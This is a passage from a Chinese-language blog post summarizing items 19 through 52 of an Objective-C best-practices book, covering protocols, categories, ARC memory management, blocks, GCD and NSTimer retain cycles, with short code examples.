}</pre><p><span style="font-size: 20px;"><strong>第十九条:使用清晰而协调的命名方式</strong></span></p><p>这条不用太强调了,具体也可以参照一下我之前拟的<a href="http://www.jianshu.com/p/bbb0b57eb168" target="_blank">Objective-C编程规范及建议</a>,后续可能会不断补充更新</p><p><span style="font-size: 20px;"><strong>第二十条:为私有方法名加前缀</strong></span></p><p>这条讲的是应该为类内的私有方法增加前缀,以便区分,这个感觉因人而异吧,感觉只要你不随便把私有方法暴露在.h文件都能接受,曾遇到过这样的同事,感觉其不太适合写程序吧。</p><p><span style="font-size: 20px;"><strong>第二十一条:理解Objective-C错误模型</strong></span></p><p>很多语言都有异常处理机制,Objective-C也不例外,Objective-C也有类似的@throw,不过在OC中使用@throw可能会导致内存泄漏,可能是它被设计的使用场景的问题。建议@throw只用来处理严重错误,也可以理解为致命错误(fatal error),那么处理一般错误的时候(nonfatal error)时可以使用NSError。</p><p><span style="font-size: 20px;"><strong>第二十二条:理解NSCopying协议</strong></span></p><p>在OC开发中,使用对象时经常需要拷贝它,我们会通过copy/mutbleCopy来完成。如果想让自己的类支持拷贝,那必须要实现NSCopying协议,只需要实现一个方法:</p><pre class="brush:js;toolbar:false">- (id)copyWithZone:(NSZone*)zone</pre><p>当然如果要求返回对象是可变的类型就要用到NSMutableCopying协议,相应方法</p><pre class="brush:js;toolbar:false">- (id)mutableCopyWithZone:(NSZone *)zone</pre><p>在拷贝对象时,需要注意拷贝执行的是浅拷贝还是深拷贝。深拷贝在拷贝对象时,会将对象的底层数据也进行了拷贝。浅拷贝是创建了一个新的对象指向要拷贝的内容。一般情况应该尽量执行浅拷贝。</p><p><span style="font-size: 24px;"><strong>第四章:协议与分类</strong></span></p><p><span style="font-size: 20px;"><strong>第二十三条:通过委托与数据源协议进行对象间通信</strong></span></p><p>这条讲的也比较基础,就是基本的delegate,protocal使用。</p><p>有一点稍微说一下:当某对象需要从另外一个对象中获取数据时,可以使用委托模式,这种用法经常被称为“数据源协议”(Data source Protocal)类似 UITableview的UITableViewDataSource</p><p>另外在Swift中有一个很重要的思想就是面向协议编程。当然OC中也可以用协议来降低代码耦合性,必要的时候也可以替代继承,因为遵循同一个协议的类可以是任何,不必是同一个继承体系下。</p><p><strong><span style="font-size: 20px;">第二十四条:将类的实现代码分散到便于管理的数个分类之中</span></strong></p><p>这条主要说的是通过分类机制,可以把类分成很多歌易于管理的小块。也是有一些前提的吧,可能是这个类业务比较复杂,需要瘦身,需要解耦等等。作者还推荐把私有方法统一放在Private分类中,以隐藏实现细节。这个个人觉得视情况而定吧。</p><p><span style="font-size: 20px;"><strong>第二十五条:总是为第三方类的分类名称加前缀</strong></span></p><p>向第三方类的分类名称加上你专用的前缀,这点不必多说,????</p><p><span style="font-size: 20px;"><strong>第二十六条:勿在分类中声明属性</strong></span></p><p>不要在分类中声明属性,除了“class-continuation”分类中。那什么是“class-continuation”分类呢,其实就是我们经常在.m文件中用到的,例如:</p><pre class="brush:js;toolbar:false">//Swift.m
@interface Swift ()
//这个就是“class-continuation”分类
@end
@implementation Swift
@end</pre><p><span style="font-size: 18px;"><strong>第二十七条:使用“class-continuation”分类隐藏实现细节</strong></span></p><p>这条跟之前的也有点重复,最终目的还是要尽量在公共接口中向外暴露的内容最小化,隐藏实现细节,只告诉怎么调用,怎么使用即可。具体实现以及属性的可修改权限尽可能的隐藏掉。</p><p><span style="font-size: 20px;"><strong>第二十八条:通过协议提供匿名对象</strong></span></p><p>协议可以在某种程度上提供匿名对象,例如id<someprotocal>object。object对象的类型不限,只要能遵从这个协议即可,在这个协议里面定义了这个对象所应该实现的方法。</someprotocal></p><p>如果具体类型不重要,重要的是对象能否处理好一些特定的方法,那么就可以使用这种协议匿名对象来完成。</p><p><span style="font-size: 24px;"><strong>第五章:内存管理</strong></span></p><p><span style="font-size: 20px;"><strong>第二十九条:理解引用计数</strong></span></p><p>理解引用计数这个可以通过《Objective-C 高级编程》这本书中的例子来理解,比较直观,大概如下:</p><p style="text-align: center;"><img src="http://cc.cocimg.com/api/uploads/20170809/1502264983629052.jpg" title="1502264983629052.jpg" alt="1457495-a2a2c38354a2af20.jpg"></p><p style="text-align:center"><img src="http://cc.cocimg.com/api/uploads/20170809/1502265069154379.png" title="1502265069154379.png" alt="QQ截图20170809155041.png"></p><ol class=" list-paddingleft-2"><li><p><span style="line-height: 1.8;">自动释放池: 可以看到在我们程序中入口文件main.m中main函数中就包裹了一层autoreleasepool</span></p></li></ol><pre class="brush:js;toolbar:false">int main(int argc, char * argv[]) {
@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([HSAppDelegate class]));
}
}</pre><p>autoreleasepool可以延长对象的生命期,使其在跨越方法调用边界后依然可以存活一段时间,通常是在下一次“时间循环”(event loop)时释放,不过也可能会执行的早一点。</p><p>保留环: 也称retain cycle,就是循环引用。形成原因就是对象之间相互用强引用指向对方,会使得全部都无法得以释放。解决方案通常是使用弱引用(weak reference)</p><p><span style="font-size: 20px;"><strong>第三十条:以ARC简化引用计数</strong></span></p><p>使用ARC,可以省略对于引用计数的操作,所以在ARC下调用对象的retain,release,autorelease,dealloc方法时系统会报错。</p><p>这里要注意CoreFoundation 对象不归ARC管理,开发中如果有用到还是要谁创建谁释放,适时调用CFRetain/CFRelease。</p><p><span style="font-size: 20px;"><strong>第三十一条:在delloc方法中只释放引用并解除监听</strong></span></p><p>不要在delloc方法中调用其他方法,尤其是需要异步执行某些任务又要回调的方法,这样的很危险的行为,很可能异步执行完回调的时候该对象已经被销毁了,这样就没得玩了,crash了。</p><p>在delloc方法里应该制作一些释放相关的事情,包括不限于一些KVO取消订阅,remove 通知等。</p><p><span style="font-size: 20px;"><strong>第三十二条:编写“异常安全代码”时留意内存管理问题</strong></span></p><p>这条有点重复,之前已经说过了,OC中抛出异常的时候可能会引起内存泄漏,注意一下使用的时机,或者注意在@try捕获异常中清理干净。</p><p><span style="font-size: 20px;"><strong>第三十三条:以弱引用避免保留环</strong></span></p><p>这条比较简单,内容主旨就是标题:以弱引用避免保留环(Retain Cycle)</p><p><span style="font-size: 20px;"><strong>第三十四条:以“@autoreleasepool”降低内存峰值</strong></span></p><p>在遍历处理一些大数组或者大字典的时候,可以使用自动释放池来降低内存峰值,例如:</p><pre class="brush:js;toolbar:false">NSArray *people=/*一个很大的数组*/
NSMutableArray *employeesArray=[NSMutableArray new];
for (NSStirng *name in people) {
@autoreleasepool {
MLEmployee *employee=[MLEmployee alloc] initWithName:name];
[employeesArray addObject:employee];
}
}</pre><p>第三十五条:用“僵尸对象”调试内存管理问题</p><p style="text-align: center;"><img src="http://cc.cocimg.com/api/uploads/20170809/1502265475529193.jpg" title="1502265475529193.jpg" alt="1457495-586f50d111cab802.jpg"></p><p>如上图,勾选这里可以开启僵尸对象设置。开启之后,系统在回收对象时,不将其真正的回收,而是把它的isa指针指向特殊的僵尸类,变成僵尸对象。僵尸类能够响应所有的选择子,响应方式为:打印一条包含消息内容以及其接收者的消息,然后终止应用程序</p><p><span style="font-size: 20px;"><strong>第三十六条:不要使用retainCount</strong></span></p><p>在苹果引入ARC之后retainCount已经正式废弃,任何时候都不要调用这个retainCount方法来查看引用计数了,因为这个值实际上已经没有准确性了。但是在MRC下还是可以正常使用</p><p><span style="font-size: 24px;"><strong>第六章:Block与GCD</strong></span></p><p><span style="font-size: 20px;"><strong>第三十七条:理解block</strong></span></p><p>根据block在内存中的位置,block被分成三种类型:</p><ol class=" list-paddingleft-2"><li><p>NSGlobalBlock 全局块:</p></li></ol><p>这种块运行时无需获取外界任何状态,块所使用的内存区域在编译器就可以完全确定,所以该块声明在全局内存中。如果全局块执行copy会是一个空操作,相当于什么都没做。全局块例如:</p><pre class="brush:js;toolbar:false">void (^block)()=^{
NSLog(@"I am a NSGlobalBlock");
}</pre><ol class=" list-paddingleft-2"><li><p>NSStackBlock 栈块:</p></li></ol><p>栈块保存于栈区,超出变量作用域,栈上的block以及__block变量都会被销毁。例如:</p><pre class="brush:js;toolbar:false">NSString *name=@"PHP";
void (^block)()=^{
NSLog(@"世界上最好的编程语言是%@", name);
};
NSLog(@"%@", block);</pre><p>运行下你会发现控制台打印的是:</p><pre class="brush:js;toolbar:false"><br></pre><p>什么,你说什么,你打印出来的是__ NSMallocBlock __? 那是因为你在ARC下编译的,ARC下编译器编译时会帮你优化自动帮你加上了copy操作,你可以用-fno-objc-arc关闭ARC再看一下</p><ol class=" list-paddingleft-2"><li><p>NSMallocBlock 堆块:</p></li></ol><p>NSMallocBlock内心独白:我已经被暴露了,为什么要最后才介绍我!!</p><p>堆block内存保存于堆区,在变量作用域结束时不受影响。通过之前在ARC下的输出已经看到了__ NSMallocBlock __.所以我们在定义block类型的属性时常常加上copy修饰,这个修饰其实是多余的,系统在ARC的时候已经帮我们做了copy,但是还是建议写上copy。</p><p><span style="font-size: 20px;"><strong>第三十八条:为常用的块类型创建typedef</strong></span></p><p>这条主要是为了代码更易读,也比较重要。</p><pre class="brush:js;toolbar:false">- (void)getDataWithHost:(NSString *)host success:(void (^)(id responseDic))success;
//以上要改成下面这种
typedef void (^SuccessBlock)(id responseDic);
- (void)getDataWithHost:(NSString *)host success:(SuccessBlock)success;</pre><p><span style="font-size: 20px;"><strong>第三十九条:用handler块降低代码分散程度</strong></span></p><p>在iOS开发中,我们经常需要异步执行一些任务,然后等待任务执行结束之后通知相关方法。实现此需求的做法很多,比如说有些人可能会选择用委托协议。那么在这种异步执行一些任务,然后等待执行结束之后调用代理的时候,可能代码就会比较分散。当多个任务都需要异步,等等就显得比较不那么合理了。</p><p>所以我们可以考虑使用block的方式设计,这样业务相关的代码会比较紧凑,不会显得那么凌乱。</p><p><span style="font-size: 20px;"><strong>第四十条:用块引用其所属对象是不要出现保留环</strong></span></p><p>这点比较基础了,但是要稍微说一下,不是一定得在block中使用weakself,比如下面:</p><pre class="brush:js;toolbar:false">[YTKNetwork requestBlock:^(id responsObject) {
NSLog(@"%@",self.name);
}];</pre><p>block 不是被self所持有的,在block中就可以使用self</p><p><span style="font-size: 20px;"><strong>第四十一条:多用派发队列,少用同步锁</strong></span></p><p>在iOS开发中,如果有多个线程要执行同一份代码,我们可能需要加锁来实现某种同步机制。有人可能第一印象想到的就是@synchronized(self),例如:</p><pre class="brush:js;toolbar:false">- (NSString*)someString {
@synchronized(self) {
return _someString;
}
}
- (void)setSomeString:(NSString*)someString {
@synchronized(self) {
_someString=someString;
}
}</pre><p>这样写法效率很低,而且也不能保证线程中觉得的安全。如果有很多属性,那么每个属性的同步块都要等其他同步块执行完毕才能执行。</p><p>应该用GCD来替换:</p><pre class="brush:js;toolbar:false">_syncQueue=dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
//读取字符串
- (NSString*)someString {
__block NSString *localSomeString;
dispatch_sync(_syncQueue, ^{
localSomeString=_someString;
});
return localSomeString;
}
- (void)setSomeString:(NSString*)someString {
dispatch_barrier_async(_syncQueue, ^{
_someString=someString;
});
}</pre><p><span style="font-size: 20px;"><strong>第四十二条:多用GCD,少用performSelector系列方法</strong></span></p><p>Objective-C本质上是一门分厂动态的语言,开发者在开发中可以指定任何一个方法去调用,也可以延迟调用一些方法,或者指定运行方法的线程。一般我们会想到performSelector,但是在GCD出来之后基本就没那么需要performSelector了,performSelector也有很多缺点:</p><ol class=" list-paddingleft-2"><li><p>内存管理问题:在ARC下使用performSelector我们经常会看到编译器发出如下警告:warning: performSelector may cause a leak because its selector is unknown [-Warc-performSelector-leaks]</p></li><li><p>performSelector的返回值只能是void或对象类型。</p></li><li><p>performSelector无法处理带有多个参数的选择子,最多只能处理两个参数。</p></li></ol><p>为了改变这些,我们可以用下面这种方式</p><pre class="brush:js;toolbar:false">dispatch_async(dispatch_get_main_queue(), ^{
[self doSomething];
});</pre><p>替换掉</p><pre class="brush:js;toolbar:false">[self performSelectorOnMainThread:@selector(doSomething)
withObject:nil
waitUntilDone:NO];</pre><p>然后还可以用</p><pre class="brush:js;toolbar:false">dispatch_time_t time=dispatch_time(DISPATCH_TIME_NOW,
(int64_t)(5.0 * NSEC_PER_SEC));
dispatch_after(time, dispatch_get_main_queue(), ^(void){
[self doSomething];
});</pre><p>替换</p><pre class="brush:js;toolbar:false">[self performSelector:@selector(doSomething)
withObject:nil
afterDelay:5.0];</pre><p><span style="font-size: 20px;"><strong>第四十三条:掌握GCD以及操作队列的使用时机</strong></span></p><p>GCD技术确实很棒,但是也有一些局限性,或者说有一些场景并不适合。比如过想取消队列中的某个操作,或者需要后台执行任务。还有一种技术叫NSOperationQueue,其实NSOperationQueue跟GCD有很多相像之处。NSOperationQueue在GCD之前就已经有了,GCD就是在其某些原理上构建的。GCD是C层次的API,而NSOperation是重量级的Objective-C对象。</p><p>使用NSOperation和NSOperationQueue的优点:</p><p>支持取消某个操作:在运行任务前,可以在NSOperation对象上调用cancel方法,用以表明此任务不需要执行。不过已经启动的任务无法取消。GCD队列是无法取消的,GCD是“安排好之后就不管了(fire and forget)”。</p><p>支持指定操作间的依赖关系:一个操作可以依赖其他多个操作,例如从服务器下载并处理文件的动作可以用操作来表示,而在处理其他文件之前必须先下载“清单文件”。而后续的下载工作,都要依赖于先下载的清单文件这一操作。这时如果操作队列允许并发执行的话,后续的下载操作就可以在他依赖的下载清单文件操作执行完毕之后开始同时执行。</p><p>支持通过KVO监控NSOperation对象的属性:可以通过isCancelled属性来判断任务是否已取消,通过isFinished属性来判断任务是否已经完成等等。</p><p>支持指定操作的优先级:操作的优先级表示此操作与队列中其他操作之间的优先关系,优先级搞的操作先执行,优先级低的后执行。GCD的队列也有优先级,不过不是针对整个队列的。</p><p>重用NSOperation对象。在开发中你可以使用NSOperation的子类或者自己创建NSOperation对象来保存一些信息,可以在类中定义方法,使得代码能够多次使用。不必重复自己。</p><p><span style="font-size: 20px;"><strong>第四十四条:通过Dispatch Group机制,根据系统资源状况来执行任务</strong></span></p><p>这条主要是介绍dispatch group,任务分组的功能。他可以把任务分组,然后等待这组任务执行完毕时会有通知,开发者可以拿到结果然后继续下一步操作。</p><p>另外通过dispatch group在并发队列上同时执行多项任务的时候,GCD会根据系统资源状态来帮忙调度这些并发执行的任务。</p><p><span style="font-size: 20px;"><strong>第四十五条:使用dispatch_once来执行只需要运行一次的线程安全代码</strong></span></p><p>这条讲的是常用的dispatch_once</p><pre class="brush:js;toolbar:false">+ (id)sharedInstance {
static EOCClass *sharedInstance=nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
? sharedInstance=[[self alloc] init];
});
return sharedInstance;
}</pre><p>dispatch_once比较高效,没有重量级的同步机制。</p><p><span style="font-size: 20px;"><strong>第四十六条:不要使用dispatch_get_current_queue</strong></span></p><p>dispatch_get_current_queue 函数的行为常常与开发者所预期的不同,此函数已经废弃,只应做调试之用。</p><p>由于GCD是按层级来组织的,所以无法单用某个队列对象来描述"当前队列"这一概念。</p><p>dispatch_get_current_queue 函数用于解决由不可以重入的代码所引发的死锁,然后能用此函数解决的问题,通常也可以用"队列特定数据"来解决。</p><p><span style="font-size: 24px;"><strong>第七章:系统框架</strong></span></p><p><span style="font-size: 20px;"><strong>第四十七条:熟悉系统框架</strong></span></p><p>在Objective-C中除了Foundation 与CoreFoundation之外还有很多系统库,其中包括但不限于下面列出的这些:</p><ol class=" list-paddingleft-2"><li><p>CFNetwork:此框架提供了C语言级别的网络通信能力,它将BSD socket抽象成了易于使用的网络接口。而Foundation则将该框架里的部分内容封装为Objective-C接口,以便进行网络通信。</p></li><li><p>CoreAudio:此框架所提供的C语言API可以用来操作设备上的音频硬件。</p></li><li><p>AVFoundation:此框架所提供的Objective-C对象可用来回访并录制音频及视频,比如能够在UI视图类里播放视频。</p></li><li><p>CoreData:此框架所提供的Objective-C接口可以将对象放入数据库,将数据持久化。</p></li><li><p>CoreText:此框架提供的C语言接口可以高效执行文字排版以及渲染操作。</p></li><li><p>SpriteKit :游戏框架</p></li><li><p>CoreLocation、MapKit :定位地图相关框架</p></li><li><p>Address Book框架:需要使用通讯录时才使用该框架</p></li><li><p>Music Libraries框架:音乐库相关框架</p></li><li><p>HealthKit框架:健康相关框架</p></li><li><p>HomeKit框架:为智能化硬件提供的框架</p></li><li><p>CloudKit : iCloud相关的框架</p></li><li><p>Passbook、PassKit框架:为了在应用中用户可以很容易的访问他们之前购买的活动门票、旅行车票、优惠券等等提供的框架</p></li></ol><p><span style="font-size: 20px;"><strong>第四十八条:多用块枚举,少用for循环</strong></span></p><p>遍历collection中的元素有四种方式,最基本的办法就是for循环,其次是NSEnumerator遍历法,还有快速遍历法(for in),以及块枚举法。块枚举是最新,最先进的方式。</p><p>块枚举法是通过GCD来并发执行遍历操作</p><p>若提前知道待遍历的collection含有何种对象,则应修改块签名,指出对象的具体类型。</p><p><span style="font-size: 20px;"><strong>第四十九条:对自定义其内存管理语义的collecion使用无缝桥接</strong></span></p><p>通过无缝桥接技术,可以在定义于Foundation框架中的类和CoreFoundation框架中的C语言数据结构之间来回转换。</p><p>下面代码展示了简单的无缝桥接:</p><pre class="brush:js;toolbar:false">NSArray *anNSArray=@[@1, @2, @3, @4, @5];
CFArrayRef aCFArray=(__bridge CFArrayRef)anNSArray;
NSLog(@"Size of array=%li", CFArrayGetCount(aCFArray));
//Output: Size of array=5</pre><p>转换操作中的__bridge告诉ARC如何传力转换所涉及的OC对象,也就是ARC仍然具备这个OC对象的所有权。__bridge_retained与之相反。这里要注意用完了数组要自己释放,使用CFRelease(aCFArray)前面有提到过的。</p><p><span style="font-size: 20px;"><strong>第五十条:构建缓存时选用NSCache而非NSDictionary</strong></span></p><p>在构建缓存时应该尽量选用NSCache而非NSDictionary,NSCache会在系统资源将要耗尽时自动删减缓存,而使用NSDictionary只能通过系统低内存警告方法去手动处理。此外NSCache还会看情况删减最久未使用的对象,而且是线程安全的。</p><p><span style="font-size: 20px;"><strong>第五十一条:精简initialize与load的实现代码</strong></span></p><p>load与initialize 方法都应该实现的精简一点,这样有助于保持应用程序的响应能力,也可以减少引入依赖环的几率</p><p>无法在编译器设定的全局常量,可以放在initialize方法里面初始化。</p><p>另外没搞清楚load 与 initialize的可以看这里, 我之前有出过一道有点脑残有点绕的题(别拍砖,????),可以点击这里查看</p><p><span style="font-size: 20px;"><strong>第五十二条:别忘了NSTimer会保留其目标对象</strong></span></p><p>在iOS开发中经常会用到定时器:NSTimer,由于NSTimer会生成指向其使用者的引用,而其使用者如果也引用了NSTimer,那就形成了该死的循环引用,比如下面这个例子:</p><pre class="brush:js;toolbar:false">#import @interface EOCClass : NSObject
- (void)startPolling;
- (void)stopPolling;
@end
@implementation EOCClass {
NSTimer *_pollTimer;
}
- (id)init {
return [super init];
}
- (void)dealloc {
[_pollTimer invalidate];
}
- (void)stopPolling {
[_pollTimer invalidate];
_pollTimer=nil;
}
- (void)startPolling {
_pollTimer=[NSTimer scheduledTimerWithTimeInterval:5.0
target:self
selector:@selector(p_doPoll)
userInfo:nil
repeats:YES];
}
- (void)p_doPoll {
// Poll the resource
}
@end</pre><p>如果创建了本类的实例,并调用其startPolling方法开始定时器,由于目标对象是self,所以要保留此实例,因为定时器是用成员变量存放的,所以self也保留了计时器,所以此时存在保留环。此时要么调用stopPolling,要么令系统将此实例回收,只有这样才能打破保留环。</p><p>这是一个很常见的内存泄漏,那么怎么解决呢?这个问题可以通过block来解决。可以添加这样的一个分类:</p><pre class="brush:js;toolbar:false">#import //.h
@interface NSTimer (EOCBlocksSupport)
+ (NSTimer*)eoc_scheduledTimerWithTimeInterval:(NSTimeInterval)interval
block:(void(^)())block
repeats:(BOOL)repeats;
@end
//.m
@implementation NSTimer (EOCBlocksSupport)
+ (NSTimer*)eoc_scheduledTimerWithTimeInterval:(NSTimeInterval)interval
block:(void(^)())block
repeats:(BOOL)repeats
{
return [self scheduledTimerWithTimeInterval:interval
target:self
selector:@selector(eoc_blockInvoke:)
userInfo:[block copy]
repeats:repeats];
}
+ (void)eoc_blockInvoke:(NSTimer*)timer {
void (^block)()=timer.userInfo;
if (block) {
block();
}
}
@end</pre><p>EOF : 由于个人能力有限,难免有一些遗漏或者错误,请各位看官不吝赐教!谢谢!同